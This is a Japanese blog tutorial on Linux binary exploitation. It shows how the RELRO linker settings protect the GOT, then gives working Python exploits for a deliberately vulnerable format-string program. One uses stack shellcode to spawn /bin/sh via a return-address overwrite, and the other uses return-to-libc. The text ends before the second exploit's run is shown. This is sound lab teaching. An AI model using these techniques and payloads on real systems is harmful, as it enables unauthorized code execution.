RELROとformat string attackによるリターンアドレス書き換え

一つ前のエントリでは、format string attackでGOTに書かれたアドレスの書き換えを行ったが、RELRO (RELocation Read-Only) と呼ばれるセキュリティ機構を完全に有効にすることでGOTを書き換えられないようにできる。 ここでは、RELROに関連するリンカオプションの動作について簡単に確認し、RELROが完全に有効な状態でもリターンアドレスの書き換えによるシェル起動は可能であることを確認してみる。

環境

Ubuntu 12.04 LTS 32bit版

$ uname -a
Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux

$ lsb_release -a
No LSB modules are available.
Distributor ID: Ubuntu
Description:    Ubuntu 12.04.4 LTS
Release:        12.04
Codename:       precise

$ gcc --version
gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3

脆弱性のあるプログラムを用意する

バッファサイズ200でformat string bugのあるコードを書く。

/* fsb.c */
#include <stdio.h>
#include <string.h>

int main(int argc, char *argv[])
{
    char buf[200];
    printf("[+] buf = %p\n", buf);
    strncpy(buf, argv[1], 200);
    printf(buf);
    putchar('\n');
    return 0;
}

RELROの設定を変えてリンクしてみる

gccコンパイルする際に、-Wlオプションを使うとリンカ(ld)に渡すオプションを指定することができる。

$ man gcc
   Options for Linking
       -Wl,option
           Pass option as an option to the linker.  If option contains commas, it is split into multiple options at the commas.  You can use this syntax to pass an argument to the option.  For
           example, -Wl,-Map,output.map passes -Map output.map to the linker.  When using the GNU linker, you can also get the same effect with -Wl,-Map=output.map.

           NOTE: In Ubuntu 8.10 and later versions, for LDFLAGS, the option -Wl,-z,relro is used.  To disable, use -Wl,-z,norelro.

RELROおよび関数呼び出し時のジャンプ先アドレスのバインド方法に関するオプションは下記の通り。

$ man ld
       -z keyword
           norelro
               Don't create an ELF "PT_GNU_RELRO" segment header in the object.

           relro
               Create an ELF "PT_GNU_RELRO" segment header in the object.

           lazy
               When generating an executable or shared library, mark it to tell the dynamic linker to defer function call resolution to the point when the function is called (lazy binding),
               rather than at load time.  Lazy binding is the default.

           now When generating an executable or shared library, mark it to tell the dynamic linker to resolve all symbols when the program is started, or when the shared library is linked to
               using dlopen, instead of deferring function call resolution to the point when the function is first called.

今回準備した環境では、デフォルトではrelroとlazyが指定された状態でリンクされる。 lazyが指定されたとき、関数呼び出し時のジャンプ先アドレスは一つ前のエントリで説明したように初回の関数呼び出し時に解決される。 この仕組みは遅延バインド(lazy binding)と呼ばれる。

まずは、RELRO無効でコンパイル・リンク(‘-z,norelro‘)し、gdbでセクションヘッダの内容と実行時のメモリ配置を確認してみる。

$ gcc -Wl,-z,norelro fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ gdb -q a.out
Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done.
(gdb) i files
Symbols from "/home/user/tmp/exploit/relro/a.out".
Local exec file:
        `/home/user/tmp/exploit/relro/a.out', file type elf32-i386.
        Entry point: 0x80483c0
        0x08048134 - 0x08048147 is .interp
        0x08048148 - 0x08048168 is .note.ABI-tag
        0x08048168 - 0x0804818c is .note.gnu.build-id
        0x0804818c - 0x080481ac is .gnu.hash
        0x080481ac - 0x0804822c is .dynsym
        0x0804822c - 0x080482a3 is .dynstr
        0x080482a4 - 0x080482b4 is .gnu.version
        0x080482b4 - 0x080482e4 is .gnu.version_r
        0x080482e4 - 0x080482ec is .rel.dyn
        0x080482ec - 0x0804831c is .rel.plt
        0x0804831c - 0x0804834a is .init
        0x08048350 - 0x080483c0 is .plt
        0x080483c0 - 0x080485ac is .text
        0x080485ac - 0x080485c6 is .fini
        0x080485c8 - 0x080485de is .rodata
        0x080485e0 - 0x08048614 is .eh_frame_hdr
        0x08048614 - 0x080486d8 is .eh_frame
        0x080496d8 - 0x080496e0 is .ctors
        0x080496e0 - 0x080496e8 is .dtors
        0x080496e8 - 0x080496ec is .jcr
        0x080496ec - 0x080497b4 is .dynamic
        0x080497b4 - 0x080497b8 is .got
        0x080497b8 - 0x080497dc is .got.plt
        0x080497dc - 0x080497e4 is .data
        0x080497e4 - 0x080497ec is .bss
(gdb) start
Temporary breakpoint 1 at 0x8048477
Starting program: /home/user/tmp/exploit/relro/a.out

Temporary breakpoint 1, 0x08048477 in main ()
(gdb) i proc
process 6037
cmdline = '/home/user/tmp/exploit/relro/a.out'
cwd = '/home/user/tmp/exploit/relro'
exe = '/home/user/tmp/exploit/relro/a.out'
(gdb) shell cat /proc/6037/maps
08048000-08049000 r-xp 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
08049000-0804a000 rw-p 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
b7e2b000-b7e2c000 rw-p 00000000 00:00 0
b7e2c000-b7fd0000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd0000-b7fd2000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd6000 rw-p 00000000 00:00 0
b7fdc000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) q
A debugging session is active.

        Inferior 1 [process 6037] will be killed.

Quit anyway? (y or n) y

.interpから.eh_frameまでがr-xp、つまり書き換え不可・実行可、.ctorsから.bssまでがrw-p、つまり書き換え可・実行不可になっていることがわかる。

次に、RELRO有効、遅延バインド有効でコンパイル・リンク(‘-z,relro‘)し、同じように調べてみる。

$ gcc -Wl,-z,relro fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ gdb -q a.out
Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done.
(gdb) i files
Symbols from "/home/user/tmp/exploit/relro/a.out".
Local exec file:
        `/home/user/tmp/exploit/relro/a.out', file type elf32-i386.
        Entry point: 0x80483e0
        0x08048154 - 0x08048167 is .interp
        0x08048168 - 0x08048188 is .note.ABI-tag
        0x08048188 - 0x080481ac is .note.gnu.build-id
        0x080481ac - 0x080481cc is .gnu.hash
        0x080481cc - 0x0804824c is .dynsym
        0x0804824c - 0x080482c3 is .dynstr
        0x080482c4 - 0x080482d4 is .gnu.version
        0x080482d4 - 0x08048304 is .gnu.version_r
        0x08048304 - 0x0804830c is .rel.dyn
        0x0804830c - 0x0804833c is .rel.plt
        0x0804833c - 0x0804836a is .init
        0x08048370 - 0x080483e0 is .plt
        0x080483e0 - 0x080485cc is .text
        0x080485cc - 0x080485e6 is .fini
        0x080485e8 - 0x080485fe is .rodata
        0x08048600 - 0x08048634 is .eh_frame_hdr
        0x08048634 - 0x080486f8 is .eh_frame
        0x08049f14 - 0x08049f1c is .ctors
        0x08049f1c - 0x08049f24 is .dtors
        0x08049f24 - 0x08049f28 is .jcr
        0x08049f28 - 0x08049ff0 is .dynamic
        0x08049ff0 - 0x08049ff4 is .got
        0x08049ff4 - 0x0804a018 is .got.plt
        0x0804a018 - 0x0804a020 is .data
        0x0804a020 - 0x0804a028 is .bss
(gdb) start AAAA
Temporary breakpoint 1 at 0x8048497
Starting program: /home/user/tmp/exploit/relro/a.out AAAA

Temporary breakpoint 1, 0x08048497 in main ()
(gdb) i proc
process 6167
warning: target file /proc/6167/cmdline contained unexpected null characters
cmdline = '/home/user/tmp/exploit/relro/a.out'
cwd = '/home/user/tmp/exploit/relro'
exe = '/home/user/tmp/exploit/relro/a.out'
(gdb) shell cat /proc/6167/maps
08048000-08049000 r-xp 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
08049000-0804a000 r--p 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
b7e2b000-b7e2c000 rw-p 00000000 00:00 0
b7e2c000-b7fd0000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd0000-b7fd2000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd6000 rw-p 00000000 00:00 0
b7fdc000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) x/20xw 0x0804a000
0x804a000 <printf@got.plt>:     0x08048386      0x08048396      0x080483a6      0xb7e453e0
0x804a010 <putchar@got.plt>:    0x080483c6      0x080483d6      0x00000000      0x00000000
0x804a020 <completed.6159>:     0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6167] will be killed.

Quit anyway? (y or n) y

.ctorsから.got.pltの途中までがr--p、つまり書き換え不可になっている。 さらに、.got.pltのうち実際のジャンプ先アドレスが書かれたところから書き換え可になっていることがわかる。 つまり一つ前のエントリで確認したように、この状態ではまだGOTの書き換えは可能である。

最後に、RELRO有効かつ遅延バインド無効でコンパイル・リンク(‘-z,relro,-z,now‘)し、同じことを調べてみる。

$ gcc -Wl,-z,relro,-z,now fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ gdb -q a.out
Reading symbols from /home/user/tmp/exploit/relro/a.out...(no debugging symbols found)...done.
(gdb) i files
Symbols from "/home/user/tmp/exploit/relro/a.out".
Local exec file:
        `/home/user/tmp/exploit/relro/a.out', file type elf32-i386.
        Entry point: 0x80483e0
        0x08048154 - 0x08048167 is .interp
        0x08048168 - 0x08048188 is .note.ABI-tag
        0x08048188 - 0x080481ac is .note.gnu.build-id
        0x080481ac - 0x080481cc is .gnu.hash
        0x080481cc - 0x0804824c is .dynsym
        0x0804824c - 0x080482c3 is .dynstr
        0x080482c4 - 0x080482d4 is .gnu.version
        0x080482d4 - 0x08048304 is .gnu.version_r
        0x08048304 - 0x0804830c is .rel.dyn
        0x0804830c - 0x0804833c is .rel.plt
        0x0804833c - 0x0804836a is .init
        0x08048370 - 0x080483e0 is .plt
        0x080483e0 - 0x080485cc is .text
        0x080485cc - 0x080485e6 is .fini
        0x080485e8 - 0x080485fe is .rodata
        0x08048600 - 0x08048634 is .eh_frame_hdr
        0x08048634 - 0x080486f8 is .eh_frame
        0x08049eec - 0x08049ef4 is .ctors
        0x08049ef4 - 0x08049efc is .dtors
        0x08049efc - 0x08049f00 is .jcr
        0x08049f00 - 0x08049fd8 is .dynamic
        0x08049fd8 - 0x0804a000 is .got
        0x0804a000 - 0x0804a008 is .data
        0x0804a008 - 0x0804a010 is .bss
(gdb) start AAAA
Temporary breakpoint 1 at 0x8048497
Starting program: /home/user/tmp/exploit/relro/a.out AAAA

Temporary breakpoint 1, 0x08048497 in main ()
(gdb) i proc
process 6190
warning: target file /proc/6190/cmdline contained unexpected null characters
cmdline = '/home/user/tmp/exploit/relro/a.out'
cwd = '/home/user/tmp/exploit/relro'
exe = '/home/user/tmp/exploit/relro/a.out'
(gdb) shell cat /proc/6190/maps
08048000-08049000 r-xp 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
08049000-0804a000 r--p 00000000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
0804a000-0804b000 rw-p 00001000 08:01 1966216    /home/user/tmp/exploit/relro/a.out
b7e2b000-b7e2c000 rw-p 00000000 00:00 0
b7e2c000-b7fd0000 r-xp 00000000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd0000-b7fd2000 r--p 001a4000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd2000-b7fd3000 rw-p 001a6000 08:01 786474     /lib/i386-linux-gnu/libc-2.15.so
b7fd3000-b7fd6000 rw-p 00000000 00:00 0
b7fdc000-b7fde000 rw-p 00000000 00:00 0
b7fde000-b7ffe000 r-xp 00000000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7ffe000-b7fff000 r--p 0001f000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
b7fff000-b8000000 rw-p 00020000 08:01 786464     /lib/i386-linux-gnu/ld-2.15.so
bffdf000-c0000000 rw-p 00000000 00:00 0          [stack]
(gdb) x/20xw 0x0804a000
0x804a000 <data_start>: 0x00000000      0x00000000      0x00000000      0x00000000
0x804a010:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000

.got.pltセクションがなくなり、.ctorsから.gotまですべてr--p、つまり書き換え不可になっていることがわかる。 実際書き換え可能になっているアドレスの先頭を調べてみると、.dataセクションの先頭になっている。

ここで、.pltセクションのコードがどうなっているか、さらに調べてみる。

(gdb) x/10i 0x08048370
   0x8048370:   push   DWORD PTR ds:0x8049fdc
   0x8048376:   jmp    DWORD PTR ds:0x8049fe0
   0x804837c:   add    BYTE PTR [eax],al
   0x804837e:   add    BYTE PTR [eax],al
   0x8048380 <printf@plt>:      jmp    DWORD PTR ds:0x8049fe4
   0x8048386 <printf@plt+6>:    push   0x0
   0x804838b <printf@plt+11>:   jmp    0x8048370
   0x8048390 <__stack_chk_fail@plt>:    jmp    DWORD PTR ds:0x8049fe8
   0x8048396 <__stack_chk_fail@plt+6>:  push   0x8
   0x804839b <__stack_chk_fail@plt+11>: jmp    0x8048370
(gdb) x/wx 0x8049fe4
0x8049fe4 <_GLOBAL_OFFSET_TABLE_+12>:   0xb7e78ed0
(gdb) disas *0x8049fe4
Dump of assembler code for function printf:
   0xb7e78ed0 <+0>:     push   ebx
   0xb7e78ed1 <+1>:     sub    esp,0x18
   0xb7e78ed4 <+4>:     call   0xb7f57d53
   0xb7e78ed9 <+9>:     add    ebx,0x15911b
   0xb7e78edf <+15>:    lea    eax,[esp+0x24]
   0xb7e78ee3 <+19>:    mov    DWORD PTR [esp+0x8],eax
   0xb7e78ee7 <+23>:    mov    eax,DWORD PTR [esp+0x20]
   0xb7e78eeb <+27>:    mov    DWORD PTR [esp+0x4],eax
   0xb7e78eef <+31>:    mov    eax,DWORD PTR [ebx-0x7c]
   0xb7e78ef5 <+37>:    mov    eax,DWORD PTR [eax]
   0xb7e78ef7 <+39>:    mov    DWORD PTR [esp],eax
   0xb7e78efa <+42>:    call   0xb7e6eab0 <vfprintf>
   0xb7e78eff <+47>:    add    esp,0x18
   0xb7e78f02 <+50>:    pop    ebx
   0xb7e78f03 <+51>:    ret
End of assembler dump.
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6190] will be killed.

Quit anyway? (y or n) y

これより、遅延バインド有効のとき.got.plt内のアドレスを指していた部分が.got内のアドレスを指すようになっており、そこに書かれたアドレスは実際に呼び出されるライブラリ関数のアドレスになっている。 そして上で調べたように.gotは書き換え不可であるから、GOTの書き換えはできなくなっている。

以上のことから、遅延バインド有効な場合のRELROはPartial RELRO、遅延バインド無効な場合のRELROはFull RELROと呼ばれることがある。 glibcの場合、readelfコマンドやobjdumpコマンドで調べたとき、プログラムヘッダにGNU_RELROがあればRELRO有効、Dynamic sectionにBIND_NOWがあれば遅延バインド無効となっている。

$ readelf -a a.out
Program Headers:
  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align
  ...
  GNU_RELRO      0x000eec 0x08049eec 0x08049eec 0x00114 0x00114 R   0x1

Dynamic section at offset 0xf00 contains 22 entries:
  Tag        Type                         Name/Value
 ...
 0x00000018 (BIND_NOW)
 ...

$ objdump -x a.out
Program Header:
   ...
   RELRO off    0x00000eec vaddr 0x08049eec paddr 0x08049eec align 2**0
         filesz 0x00000114 memsz 0x00000114 flags r--

Dynamic Section:
  ...
  BIND_NOW             0x00000000
  ...

エクスプロイトコードを書いてみる

上で確認したように、Full RELROな実行ファイルに対してGOT overwriteはできないが、スタックにある関数からのリターンアドレスの書き換えは依然可能である。 これを確認するために、リターンアドレスをスタック上のシェルコードに書き換えるエクスプロイトコードを書くと次のようになる。

# exploit.py
import sys
import struct
from subprocess import Popen

addr_buf = int(sys.argv[1], 16)
offset_retaddr = int(sys.argv[2], 16)
index = int(sys.argv[3])

addr_retaddr = addr_buf + offset_retaddr

shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80"

buf = struct.pack('<I', addr_retaddr)
buf += struct.pack('<I', addr_retaddr+1)
buf += struct.pack('<I', addr_retaddr+2)
buf += struct.pack('<I', addr_retaddr+3)
buf += shellcode

a = map(ord, struct.pack('<I', addr_buf + 16))
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードはバッファの先頭アドレス、バッファの先頭アドレスからリターンアドレスまでのオフセット、フォーマット文字列までのオフセットを順に引数に取る。

ASLR、DEP無効、SSP有効かつFull RELROでコンパイルし、実行してみる。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -Wl,-z,relro,-z,now -z execstack fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out 'AAAA%9$08x'
[+] buf = 0xbffff694
AAAA41414141

このとき、バッファの先頭アドレスは0xbffff694、フォーマット文字列までのオフセットは9である。 さらに、バッファの先頭アドレスからリターンアドレスまでのオフセットをgdbで調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     and    esp,0xfffffff0
   0x0804849a <+6>:     sub    esp,0xf0
   0x080484a0 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484a3 <+15>:    mov    DWORD PTR [esp+0x1c],eax
   0x080484a7 <+19>:    mov    eax,gs:0x14
   0x080484ad <+25>:    mov    DWORD PTR [esp+0xec],eax
   0x080484b4 <+32>:    xor    eax,eax
   0x080484b6 <+34>:    mov    eax,0x80485f0
   0x080484bb <+39>:    lea    edx,[esp+0x24]
   0x080484bf <+43>:    mov    DWORD PTR [esp+0x4],edx
   0x080484c3 <+47>:    mov    DWORD PTR [esp],eax
   0x080484c6 <+50>:    call   0x8048380 <printf@plt>
   0x080484cb <+55>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080484cf <+59>:    add    eax,0x4
   0x080484d2 <+62>:    mov    eax,DWORD PTR [eax]
   0x080484d4 <+64>:    mov    DWORD PTR [esp+0x8],0xc8
   0x080484dc <+72>:    mov    DWORD PTR [esp+0x4],eax
   0x080484e0 <+76>:    lea    eax,[esp+0x24]
   0x080484e4 <+80>:    mov    DWORD PTR [esp],eax
   0x080484e7 <+83>:    call   0x80483d0 <strncpy@plt>
   0x080484ec <+88>:    lea    eax,[esp+0x24]
   0x080484f0 <+92>:    mov    DWORD PTR [esp],eax
   0x080484f3 <+95>:    call   0x8048380 <printf@plt>
   0x080484f8 <+100>:   mov    DWORD PTR [esp],0xa
   0x080484ff <+107>:   call   0x80483c0 <putchar@plt>
   0x08048504 <+112>:   mov    eax,0x0
   0x08048509 <+117>:   mov    edx,DWORD PTR [esp+0xec]
   0x08048510 <+124>:   xor    edx,DWORD PTR gs:0x14
   0x08048517 <+131>:   je     0x804851e <main+138>
   0x08048519 <+133>:   call   0x8048390 <__stack_chk_fail@plt>
   0x0804851e <+138>:   leave
   0x0804851f <+139>:   ret
End of assembler dump.
(gdb) b *main+95
Breakpoint 1 at 0x80484f3
(gdb) b *main+139
Breakpoint 2 at 0x804851f
(gdb) run AAAA
Starting program: /home/user/tmp/exploit/relro/a.out AAAA
[+] buf = 0xbffff664

Breakpoint 1, 0x080484f3 in main ()
(gdb) x/100xw $esp
0xbffff640:     0xbffff664      0xbffff909      0x000000c8      0xb7ec47be
0xbffff650:     0xbffff688      0xb7f89920      0x00000044      0xbffff7d4
0xbffff660:     0xb7ec4590      0x41414141      0x00000000      0x00000000
0xbffff670:     0x00000000      0x00000000      0x00000000      0x00000000
...
0xbffff730:     0x08048520      0x00000000      0x00000000      0xb7e454d3
...
(gdb) c
Continuing.
AAAA

Breakpoint 2, 0x0804851f in main ()
(gdb) ni
0xb7e454d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/x 0xbffff73c-0xbffff664
$1 = 0xd8
(gdb) quit
A debugging session is active.

        Inferior 1 [process 6753] will be killed.

Quit anyway? (y or n) y

バッファの先頭アドレスからリターンアドレスまでのオフセットは0xd8であることがわかる。 以上をもとに、エクスプロイトコードを実行してみる。

$ python exploit.py 0xbffff694 0xd8 9
[+] buf = 0xbffff644
(snip)

$ python exploit.py 0xbffff644 0xd8 9
[+] buf = 0xbffff644
(snip)
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$

Full RELROな実行ファイルに対して、スタック上のシェルコードにジャンプさせることでシェルが起動することが確認できた。

DEPが有効な場合

上の例ではDEPを無効にしてスタック上のシェルコードにジャンプさせたが、DEPが有効な場合でもReturn-to-libcによりシェルを起動させることができる。 リターンアドレスをsystem関数のアドレスに書き換え、その引数に"/bin/sh"のアドレスをセットするエクスプロイトコードを書くと次のようになる。

# exploit2.py
import sys
import struct
from subprocess import Popen

addr_buf = int(sys.argv[1], 16)
offset_retaddr = int(sys.argv[2], 16)
libc_base = int(sys.argv[3], 16)
index = int(sys.argv[4])

offset_system = 0x0003f430  # nm -D /lib/i386-linux-gnu/libc.so.6 | grep system
offset_binsh = 0x161d98     # strings -tx /lib/i386-linux-gnu/libc.so.6 | grep '/bin/sh'

addr_retaddr = addr_buf + offset_retaddr

buf = struct.pack('<I', addr_retaddr)
buf += struct.pack('<I', addr_retaddr+1)
buf += struct.pack('<I', addr_retaddr+2)
buf += struct.pack('<I', addr_retaddr+3)
buf += struct.pack('<I', addr_retaddr+8)
buf += struct.pack('<I', addr_retaddr+9)
buf += struct.pack('<I', addr_retaddr+10)
buf += struct.pack('<I', addr_retaddr+11)

b = map(ord, struct.pack('<I', libc_base + offset_binsh))
a = map(ord, struct.pack('<I', libc_base + offset_system))
b[3] = ((b[3]-b[2]-1) % 0x100) + 1
b[2] = ((b[2]-b[1]-1) % 0x100) + 1
b[1] = ((b[1]-b[0]-1) % 0x100) + 1
b[0] = ((b[0]-a[3]-1) % 0x100) + 1
a[3] = ((a[3]-a[2]-1) % 0x100) + 1
a[2] = ((a[2]-a[1]-1) % 0x100) + 1
a[1] = ((a[1]-a[0]-1) % 0x100) + 1
a[0] = ((a[0]-len(buf)-1) % 0x100) + 1

buf += "%%%dc%%%d$hhn" % (a[0], index)
buf += "%%%dc%%%d$hhn" % (a[1], index+1)
buf += "%%%dc%%%d$hhn" % (a[2], index+2)
buf += "%%%dc%%%d$hhn" % (a[3], index+3)
buf += "%%%dc%%%d$hhn" % (b[0], index+4)
buf += "%%%dc%%%d$hhn" % (b[1], index+5)
buf += "%%%dc%%%d$hhn" % (b[2], index+6)
buf += "%%%dc%%%d$hhn" % (b[3], index+7)

with open('buf', 'wb') as f:
    f.write(buf)

p = Popen(['./a.out', buf])
p.wait()

このコードはバッファの先頭アドレス、バッファの先頭アドレスからリターンアドレスまでのオフセット、libcのベースアドレス、フォーマット文字列までのオフセットを順に引数に取る。

ASLR無効、DEPSSP有効かつFull RELROでコンパイルする。

$ sudo sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0

$ gcc -Wl,-z,relro,-z,now fsb.c
fsb.c: In function ‘main’:
fsb.c:10:5: warning: format not a string literal and no format arguments [-Wformat-security]

$ ./a.out 'AAAA%9$08x'
[+] buf = 0xbffff694
AAAA41414141

上の例と同様、バッファの先頭アドレスは0xbffff694、フォーマット文字列までのオフセットは9である。 さらに、バッファの先頭アドレスからリターンアドレスまでのオフセットとlibcのベースアドレスをgdbで調べてみる。

$ gdb -q a.out
Reading symbols from /home/user/tmp/a.out...(no debugging symbols found)...done.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
   0x08048494 <+0>:     push   ebp
   0x08048495 <+1>:     mov    ebp,esp
   0x08048497 <+3>:     and    esp,0xfffffff0
   0x0804849a <+6>:     sub    esp,0xf0
   0x080484a0 <+12>:    mov    eax,DWORD PTR [ebp+0xc]
   0x080484a3 <+15>:    mov    DWORD PTR [esp+0x1c],eax
   0x080484a7 <+19>:    mov    eax,gs:0x14
   0x080484ad <+25>:    mov    DWORD PTR [esp+0xec],eax
   0x080484b4 <+32>:    xor    eax,eax
   0x080484b6 <+34>:    mov    eax,0x80485f0
   0x080484bb <+39>:    lea    edx,[esp+0x24]
   0x080484bf <+43>:    mov    DWORD PTR [esp+0x4],edx
   0x080484c3 <+47>:    mov    DWORD PTR [esp],eax
   0x080484c6 <+50>:    call   0x8048380 <printf@plt>
   0x080484cb <+55>:    mov    eax,DWORD PTR [esp+0x1c]
   0x080484cf <+59>:    add    eax,0x4
   0x080484d2 <+62>:    mov    eax,DWORD PTR [eax]
   0x080484d4 <+64>:    mov    DWORD PTR [esp+0x8],0xc8
   0x080484dc <+72>:    mov    DWORD PTR [esp+0x4],eax
   0x080484e0 <+76>:    lea    eax,[esp+0x24]
   0x080484e4 <+80>:    mov    DWORD PTR [esp],eax
   0x080484e7 <+83>:    call   0x80483d0 <strncpy@plt>
   0x080484ec <+88>:    lea    eax,[esp+0x24]
   0x080484f0 <+92>:    mov    DWORD PTR [esp],eax
   0x080484f3 <+95>:    call   0x8048380 <printf@plt>
   0x080484f8 <+100>:   mov    DWORD PTR [esp],0xa
   0x080484ff <+107>:   call   0x80483c0 <putchar@plt>
   0x08048504 <+112>:   mov    eax,0x0
   0x08048509 <+117>:   mov    edx,DWORD PTR [esp+0xec]
   0x08048510 <+124>:   xor    edx,DWORD PTR gs:0x14
   0x08048517 <+131>:   je     0x804851e <main+138>
   0x08048519 <+133>:   call   0x8048390 <__stack_chk_fail@plt>
   0x0804851e <+138>:   leave
   0x0804851f <+139>:   ret
End of assembler dump.
(gdb) b *main+95
Breakpoint 1 at 0x80484f3
(gdb) b *main+139
Breakpoint 2 at 0x804851f
(gdb) run AAAA
Starting program: /home/user/tmp/exploit/relro/a.out AAAA
[+] buf = 0xbffff664

Breakpoint 1, 0x080484f3 in main ()
(gdb) i proc map
process 7220
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000        0x0 /home/user/tmp/exploit/relro/a.out
         0x8049000  0x804a000     0x1000        0x0 /home/user/tmp/exploit/relro/a.out
         0x804a000  0x804b000     0x1000     0x1000 /home/user/tmp/exploit/relro/a.out
        0xb7e2b000 0xb7e2c000     0x1000        0x0
        0xb7e2c000 0xb7fd0000   0x1a4000        0x0 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd0000 0xb7fd2000     0x2000   0x1a4000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd2000 0xb7fd3000     0x1000   0x1a6000 /lib/i386-linux-gnu/libc-2.15.so
        0xb7fd3000 0xb7fd6000     0x3000        0x0
        0xb7fdb000 0xb7fde000     0x3000        0x0
        0xb7fde000 0xb7ffe000    0x20000        0x0 /lib/i386-linux-gnu/ld-2.15.so
        0xb7ffe000 0xb7fff000     0x1000    0x1f000 /lib/i386-linux-gnu/ld-2.15.so
        0xb7fff000 0xb8000000     0x1000    0x20000 /lib/i386-linux-gnu/ld-2.15.so
        0xbffdf000 0xc0000000    0x21000        0x0 [stack]
(gdb) x/100xw $esp
0xbffff640:     0xbffff664      0xbffff909      0x000000c8      0xb7ec47be
0xbffff650:     0xbffff688      0xb7f89920      0x00000044      0xbffff7d4
0xbffff660:     0xb7ec4590      0x41414141      0x00000000      0x00000000
0xbffff670:     0x00000000      0x00000000      0x00000000      0x00000000
...
0xbffff730:     0x08048520      0x00000000      0x00000000      0xb7e454d3
...
(gdb) c
Continuing.
AAAA

Breakpoint 2, 0x0804851f in main ()
(gdb) ni
0xb7e454d3 in __libc_start_main () from /lib/i386-linux-gnu/libc.so.6
(gdb) p/x 0xbffff73c-0xbffff664
$1 = 0xd8
(gdb) quit
A debugging session is active.

        Inferior 1 [process 7220] will be killed.

Quit anyway? (y or n) y

バッファの先頭アドレスからリターンアドレスまでのオフセットは0xd8、さらにi proc mapの結果からlibcのベースアドレスが0xb7e2c000であることがわかる。

以上をもとに、エクスプロイトコードを実行してみる。

